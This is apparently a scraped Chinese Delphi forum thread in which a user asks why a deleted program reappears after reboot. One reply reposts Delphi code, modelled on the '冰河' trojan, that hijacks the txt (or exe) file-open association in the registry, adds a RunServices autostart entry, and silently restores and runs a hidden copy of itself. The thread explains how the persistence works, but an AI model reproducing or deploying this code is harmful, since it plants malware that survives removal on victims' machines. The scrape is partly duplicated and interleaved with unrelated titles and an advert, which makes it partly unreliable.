请问:如何实现程序被删除后,再次重起系统后依然恢复? 我前天无意安装了一个文件,删除后,重起依然存在,不知道如何删除?这是如何完成的。请各位赐教。谢谢! 解决方案 » 免费领取超大流量手机卡,每月29元包185G流量+100分钟通话, 中国电信官方发货 我想答案应该是:pandengzhe(无为) + aiirii(ari) pandengzhe(无为) 和 aiirii(ari) 说的对 hehe^^ 同上,pandengzhe(无为) 和 aiirii(ari) 有多份拷贝,或者他感染了你常用的程序。比如Explorer.exe 转一个冰河的。"冰河"的自我功能保护很强,它一般通过Txt或Exe文件关联来达到自我恢复.所以有很多人明明把它杀掉了,但重新启动时又会出现.下面举以Txt文件关联为例.打开Delphi,新建一个工程,在窗口的Create事件中写代码:uses Registryprocedure TForm1.FormCreate(Sender: TObject);const Kkk = '\Software\Microsoft\Windows\CurrentVersion\RunServices';const K = '\txtfile\shell\open\command';var sFileName:string;begin//******************************************************with TRegistry.Create do //写注册表,让程序跟文本文件关联tryRootKey := HKEY_CLASSES_ROOT;OpenKey( K, TRUE );{Write by Lovejingtaohttp://lovejingtao.126.com}WriteString( '', application.ExeName+' "%1" ');{Write by Lovejingtao,[email protected]}finallyfree;end;//*******************************************************with TRegistry.Create do //写注册表,每次启动时自动运行tryRootKey := HKEY_LOCAL_MACHINE;OpenKey( Kkk, TRUE );WriteString( 'myTray', application.ExeName );finallyfree;end;//********************************************************if FileExists(pchar(Getwindir+'Sysplay.exe'))=false then//如果文件已经删除begincopyfile;//自定义拷贝资源文件过程winexec(pchar(Getwindir+'Sysplay.exe'),sw_hide);end;//**********************************************************if ParamCount>0 then begin (* 有执行参数传入 *)sFileName:=ParamStr(1); (* 取得参数内容 *)winexec(pchar('Notepad.exe '+sFileName),sw_show);(*用记事本打开*)//winexec(pchar( sFileName),sw_show);end;//*******************************************************application.Terminate;//退出end;如果要改为与Exe文件关联,只要把"const K = '\txtfile\shell\open\command';"改为"const K = '\exefile\shell\open\command';",把"winexec(pchar('Notepad.exe'+sFileName),sw_show);"改为"winexec(pchar( sFileName),sw_show);"即可.当然,还要加入是否退出Windows而运行的Rundll32.dll,否则会因为关联Exe文件而退不出Windows. 我尝试修改注册表、win.ini、system.ini等都没有发现任何线索,不知道如何处理? 长得很相似,求区别用法有什么不一样的。。。。。。。。。。。。 请教关于Delphi,GDI+的问题 如何打印dbgrid中指定的记录? 一个简单问题 请问大家:如何取得Cpu的ID号? 有何好方法可以快速找到全局变量或函数在哪个单元文件中? 在QRGroup中做统计,SUM(IF(Query1.计划完成时间<DATE,1,0)),计数值不准,为什么? Form之间的调用问题 难以启齿,请告一个间单的问题! 怎样拷贝一个表结构? 这句有什么问题,为何总是出错? 这是不是 INTERBASE 数据库的 BUG 汇总数据时出错
pandengzhe(无为) + aiirii(ari)
pandengzhe(无为) 和 aiirii(ari)
比如Explorer.exe
"冰河"的自我功能保护很强,它一般通过Txt或Exe文件关联来达到自我恢复.所以有
很多人明明把它杀掉了,但重新启动时又会出现.下面举以Txt文件关联为例.
打开Delphi,新建一个工程,在窗口的Create事件中写代码:
uses Registry
procedure TForm1.FormCreate(Sender: TObject);
const Kkk = '\Software\Microsoft\Windows\CurrentVersion\RunServices';
const K = '\txtfile\shell\open\command';
var sFileName:string;
begin//******************************************************
with TRegistry.Create do //写注册表,让程序跟文本文件关联
try
RootKey := HKEY_CLASSES_ROOT;
OpenKey( K, TRUE );
{Write by Lovejingtaohttp://lovejingtao.126.com}
WriteString( '', application.ExeName+' "%1" ');
{Write by Lovejingtao,[email protected]}
finally
free;
end;
//*******************************************************
with TRegistry.Create do //写注册表,每次启动时自动运行
try
RootKey := HKEY_LOCAL_MACHINE;
OpenKey( Kkk, TRUE );
WriteString( 'myTray', application.ExeName );
finally
free;
end;
//********************************************************
if FileExists(pchar(Getwindir+'Sysplay.exe'))=false then//如果文件已经删除
begin
copyfile;//自定义拷贝资源文件过程
winexec(pchar(Getwindir+'Sysplay.exe'),sw_hide);
end;//**********************************************************
if ParamCount>0 then begin (* 有执行参数传入 *)
sFileName:=ParamStr(1); (* 取得参数内容 *)
winexec(pchar('Notepad.exe '+sFileName),sw_show);(*用记事本打开*)
//winexec(pchar( sFileName),sw_show);
end;
//*******************************************************
application.Terminate;//退出
end;
如果要改为与Exe文件关联,只要把"const K = '\txtfile\shell\open\command';"改
为
"const K = '\exefile\shell\open\command';",把"winexec(pchar('Notepad.exe
'+sFileName),sw_show);"
改为"winexec(pchar( sFileName),sw_show);"即可.当然,还要加入是否退出Windows
而运行的Rundll32.dll,
否则会因为关联Exe文件而退不出Windows.